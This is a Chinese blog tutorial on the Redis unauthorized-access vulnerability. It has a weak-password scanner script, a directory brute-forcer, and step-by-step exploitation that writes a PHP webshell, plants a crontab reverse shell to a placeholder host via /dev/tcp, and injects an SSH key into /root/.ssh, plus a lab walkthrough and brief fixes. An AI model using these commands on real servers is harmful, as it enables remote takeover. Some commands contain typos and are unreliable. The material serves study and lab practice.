Redis未授权访问漏洞

最新推荐文章于 2024-05-08 08:00:00 发布
最新推荐文章于 2024-05-08 08:00:00 发布
阅读量1.5k 收藏 42
点赞数 42
文章标签： redis 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/isawuya/article/details/135947557
版权
本文介绍了Redis的高可用性和常见应用场景，随后揭示了其未授权访问漏洞，涉及版本、原理、利用条件及危害，包括敏感信息泄露和远程shell访问。还提供了检测脚本和修复建议，强调了禁用外部访问和安全配置的重要性。
摘要由CSDN通过智能技术生成

Redis简介

redis是完全免费开源，一个灵活的高性能key-value数据结构存储，可以用来作为数据库、缓存和消息队列。

Redis应用场景

主要有两个应用场景：

  1. 存储、缓存需要的场景
  2. 需要高度读/写的场景使用redis快速读/写

Redis结构

redis主要由两个程序组成：

  1. redis客户端：redis-cli
  2. redis服务器：redis-server

客户端和服务器可以位于同一台或两台不同的计算机中。

Redis未授权访问漏洞

  1. 通过redis数据备份功能结合web服务，往web网站根目录写入一句话木马，从而得到web网站权限
  2. 通过redis数据备份功能写定时任务，通过定时任务反弹shell
  3. 通过redis数据备份功能写入ssh公钥，实现免密登录linux服务器

漏洞影响版本、

  • redis 2.x、 3.x、4.x、5.x
  • redis 4.0.10版本中配置文件默认启用了保护

漏洞原理

redis在默认情况下，会绑定0.0.0.0:6379，如果没有采取安全策略，会导致redis服务暴露在公网上，在没有设置密码认证或弱密码的情况下，会导致任意用户在访问目标服务器未授权访问redis。
攻击者在未授权访问redis的情况下，利用redis自身提供的config命令，可以进行写文件操作，攻击者可以将自己的ssh公钥写入目标服务器的/root/.ssh文件夹中authotrized_keys文件中，进而可以只用对应的私钥直接使用ssh服务登录目标服务器。

漏洞利用条件

  • redis绑定在0.0.0.0:6379，并且没有安全策略，直接暴露在公网
  • 没有设置密码，可以免密码远程登录redis服务

漏洞危害

  • 攻击者无需认证访问到内部数据，会导致敏感信息泄露，非法访问者也可以执行fulshall清空所有数据
  • 攻击者可以通过EVAL执行lua代码，或通过数据备份功能往磁盘写入后门程序
  • 如果redis以root身份运行，攻击者可以给root账号写入ssh公钥文件，直接通过ssh登录受害服务器

探测脚本

测试是否存在redis未授权访问漏洞的python脚本

#! /usr/bin/env python
# -*- encoding: utf-8 -*-

import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令，密码：%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

web目录探测

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

# 脚本说明 
# 此脚本用于测试 Rdies 未授权访问时，在没权限写ssh私钥和定时任务又不知道web绝对路径的情况下，进行WEB目录探测

import redis

r = redis.Redis(host='127.0.0.1', port=6379)
# r = redis.Redis(host='127.0.0.1', port=6379, password=123) #带密码认证
pathlist = []
rootPath = "/web/releases/" #开始爆破的根目录
try:
    for dirs in open("E:\\dirs.txt",'r',encoding='UTF-8'): #这里是自己的字典，注意字符编码，关键还是字典
        # dirs = dirs.decode()
        dirslist = dirs.strip("\n")
        path = "%s%s" % (rootPath,str(dirslist))
        try:
            checkDir = r.config_set("dir",path)
            info = "当前路径: " + str(path) + "\t" + "存在！"
            pathlist.append(info)
            print(info)
        except Exception as e:
            if len(str(e)) == 45:
                print("当前路径: " + path + "\t" + " 不存在！")
            elif len(str(e)) == 37:
                info = "当前路径: " + path + "\t" + "没权限！"
                pathlist.append(str(info))
                print(info)
            else :
                info = "当前路径: " + path  + "\t" +  str(e)
                pathlist.append(str(info))
                print(info)
except Exception as e:
    print("如果编码错误请检查字典中是否有乱码，错误信息：" + str(e))
print("===================== 探测完成 =====================")
for path_success in pathlist:
    print(path_success)

利用过程

1、写入webshell

前提条件：
  • 需要知道web根目录绝对路径
  • redis权限不是root，有web目录写权限
流程：
  • 确认存在redis未授权访问漏洞，并获取web根目录
  • 连接redis服务端：redis-cli.exe -h [ip] -p [port]
  • 进入根目录：config set dir [根目录绝对路径]
  • 创建脚本文件：config set dbfilename
  • 写入命令：set webhell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
  • 保存：save

最后访问shell.php即可

2、在crontab里写入定时任务反弹shell

前提条件：
  • centos：redis向任务计划文件写内容会出现乱码，centos会忽略代码
  • 权限可写计划

流程：

  • 监听端口：nc -lvvp 8769
  • 生成计划任务配置文件
config set dir /var/spool/cron
set x "\n\n*/l **** /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/8769 0>&l\n\n"
config set dbfilename root
save	# 保存

3、写入ssh公钥，获得root权限

前提条件：
  • 开启了密钥认证的linux主机
  • root权限
  • 开启了ssh密钥登录，存在/etc/.ssh文件
流程：
  • 生成密钥：ssh-keygen -t rsa
  • 保存公钥：(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
  • 写入redis：cat key.txt | redis-cli h [ip] -x set crack
  • 生成authorized_key文件：
redis-cli h [ip]
config set dir /root/.ssh
config set dbfilename authorized_key
  • 本地私钥连接：ssh -i id_rsa root@[ip]
自动RCE脚本

https://gitcode.com/n0b0dycn/redis-rogue-server/overview?utm_source=csdn_github_accelerator&isLogin=1

修复建议

  • 禁止外部访问redis服务端口
  • 禁止使用root权限启动redis服务
  • 配置安全组，限制可连接redis服务器的ip

红日靶场7写入ssh公钥示例

nmap扫描发现主机6379开启，且开启了redis服务，服务低于redis-4.0.10版本
image.png

使用redis-cli进行连接：

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.1.81
192.168.1.81:6379>

写入ssh公钥实现ssh登录

首先，需要在攻击机上生成ssh公钥

┌──(root㉿kali)-[~]
└─# ssh-keygen -t rsa         
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):  
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:kUW55YSXCQcEYyziWQuQ5ycUuR3DG//ft4Qa/nzZQT4 root@kali
The key's randomart image is:
+---[RSA 3072]----+
|  .o.+ .++*=.o   |
|  . * B..+o.*    |
|   = B Oo  *     |
|    * = ... .  . |
|     o  S.    o  |
|          .   .E |
|           o o .=|
|          . = ooo|
|           o.o.o.|
+----[SHA256]-----+

将公钥写key.txt文件，前后用\n换行，避免和redis其他缓存数据混合：

┌──(root㉿kali)-[~]
└─# cd /root/.ssh/                            
                                                                                                                                                                                                                                                                                  
┌──(root㉿kali)-[~/.ssh]
└─# (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
                                                                                                                                                                                                                                                                                  
┌──(root㉿kali)-[~/.ssh]
└─# ls
id_rsa  id_rsa.pub  key.txt

将key.txt文件内容写入redis缓存：

┌──(root㉿kali)-[~/.ssh]
└─# which redis-cli			# 查找redis的绝对路径
/usr/bin/redis-cli

┌──(root㉿kali)-[~/.ssh]
└─# cat /root/.ssh/key.txt | /usr/bin/redis-cli -h 192.168.1.81 -x set pub
OK

设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys：

┌──(root㉿kali)-[~]
└─# redis-cli 192.168.1.81		# 未使用ssh服务会报错
Could not connect to Redis at 127.0.0.1:6379: Connection refused

# 使用前面未关闭的连接进行操作
192.168.1.81:6379> config set dir /root/.ssh		# 告诉Redis将其工作目录更改为/root/.ssh
OK
192.168.1.81:6379> config set dbfilename authorized_keys		# 将其持久化存储的文件名更改为authorized_keys
OK
192.168.1.81:6379> save
OK

┌──(root㉿kali)-[~/.ssh]
└─# ssh 192.168.1.81

image.png
ssh服务连接成功

imawuya
关注
  • 42
    点赞
  • 踩
  • 42
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
关于Redis未授权访问漏洞利用的介绍与修复建议
01-21
本文主要给大家介绍了关于Redis未授权访问漏洞利用的相关内容，文中对该漏洞进行了详细，并给出了相对应的修复/安全建议，下面话不多说了，来一起看看详细的介绍吧。 一、漏洞介绍 Redis 默认情况下，会绑定在 0.0....
E044-服务漏洞利用及加固-利用redis未授权访问漏洞进行提权.pdf
12-02
本文主要涉及的是网络安全领域中的一个常见问题，即如何利用Redis未授权访问漏洞进行提权。Redis是一款开源的、高性能的键值数据库，常用于数据缓存和快速数据处理。当Redis配置不当，允许未授权的外部访问时，攻击...
Centos Docker部署教程_docker部署centos
2401_84281655的博客
04-28 342
docker pull ubuntu:后面跟docker hub的版本参数。docker pull ubuntu #自动拉取最新版本ubuntu。大纲路线、讲解视频，并且后续会持续更新**
使用redis客户端查询提示未授权
penn
12-06 365
进入redis目录 /root/redis/redis-5.0.3/src 使用客户端 ./redis-cli 获取某个key get test:121 返回 (error) NOAUTH Authentication required. 正确姿势： 先auth yourpassword auth yourpassword OK
黑客攻防Redis拉锯战之Root提权_redis配置不当致使root被提权漏洞redis配置不当致使root被提权漏洞
2401_84253132的博客
04-30 646
奔溃这一次的安全事故只不过是在我们日常开发工程中的一些案例，而像“XSS”、“SQL注入”等等安全隐患都需要我们去注意。先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
未授权访问：Redis未授权访问漏洞
最新发布
qq_68163788的博客
05-08 939
未经授权访问是指在Redis数据库中，未经过身份验证或授权的情况下访问数据库的行为。Redis是一种流行的开源内存数据库，用于存储数据并提供快速访问。如果Redis实例未经过适当的安全配置，攻击者可以利用这一漏洞，访问敏感数据，修改数据或甚至破坏数据库。未经授权访问可能导致数据泄露、数据损坏和系统崩溃等严重后果。为了防止未经授权访问，管理员应该采取必要的安全措施，例如设置访问控制列表、使用密码进行身份验证和定期更新Redis的安全配置。通过加强安全措施，可以有效防止未经授权访问对Redis数据库造成的风险。
redis未授权访问利用汇总
今天是几号的博客
03-17 1185
原理就是在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务，每个任务以创建者的名字命名，比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。
redis未授权访问漏洞
jiji_king的博客
07-07 1万+
个人笔记
Redis未授权访问配合SSH key文件利用详解
09-09
本文将详细讨论一个常见的安全问题：Redis未授权访问配合SSH key文件利用。 Redis默认监听在`0.0.0.0:6379`，这意味着它对所有网络接口开放，如果不加以限制，任何能够访问到服务器的人都可以尝试连接Redis。特别是...
Redis未授权访问漏洞详解（全面）
m0_64481831的博客
02-26 3090
Redis是一款内存高速缓存的数据库，是一款K-V型数据库，它的所有键值都是用字典来存储的。其中它的value支持多种数据类型，包括String、List、Set、Zset和Hash。Redis默认情况下绑定在127.0.0.1:6379，在没有进行采用相关的策略，如添加防火墙规则避免其他非信任来源ip访问，就会将Redis服务暴露在公网上；并且Redis默认情况是空密码连接在服务器以root身份运行Redis时这将导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
未授权访问漏洞-Redis未授权访问漏洞
HAKUNAMATATATTA的博客
11-29 3406
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导 致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。Redis 是完全开源免费的，一个灵活的高性能 key-value 数据结构存储，可以用来作为数据库、缓存和消息队列。
Redis未授权访问漏洞(一)先导篇
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
01-09 1455
Redis默认情况下，会绑定在0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，这样将会将Redis服务暴露到公网上。如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis以及读取Redis的数据。
redis非授权访问漏洞
weixin_43995159的博客
11-29 1216
复现了三种redis未授权登录的场景。 1.通过redis写入计划任务，取得反弹shell。 2.通过redis写入一句话木马，取得shell。 3.通过redis写入ssh公钥，实现ssh无密码连接。
redis未授权访问漏洞修复方案
热门推荐
午夜安全
01-16 1万+
1.redis未授权访问漏洞 通过redis未授权访问漏洞，会造成敏感信息泄露，甚至被利用直接控制服务器，其危害不言而喻。但是在实际工作中，发现一些开发人员和运维人员并不知道如何妥善配置。因此有了本文，对redis的配置，建议就是2条，一个就是改强密码，一个就是改端口。 2.redis改密码和端口 给redis设置密码，密码应该由字母、数字、特殊符号组成。像123456，qwer1234这种弱口令肯定不合适，而Q1w@e3r4这种也不合适，因为它太随机、用的人太多，一般密码字典都会收录。所以密码的设置
漏洞复现之Redis未授权访问
m0_56190544的博客
09-13 2077
本文详细介绍了redis未授权访问漏洞的原理以及利用方法，供大家参考学习
漏洞复现----22、Redis未授权访问漏洞
七天
07-15 1789
文章目录一、简介二、漏洞环境三、漏洞复现1、未授权访问2、写入webshell3、利用公私钥获取root权限4、计划任务反弹shell 一、简介 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存也可以持久化的日执行、Key-Value数据库。 Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有添加防火墙规则避免其他非信任来源 ip 访问等策略时，会将 Redis 服务暴露到公网上；如果在没有设置密码认证（一般为空）的情况下，会导致任意用户未授权访问 Redis 以及
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值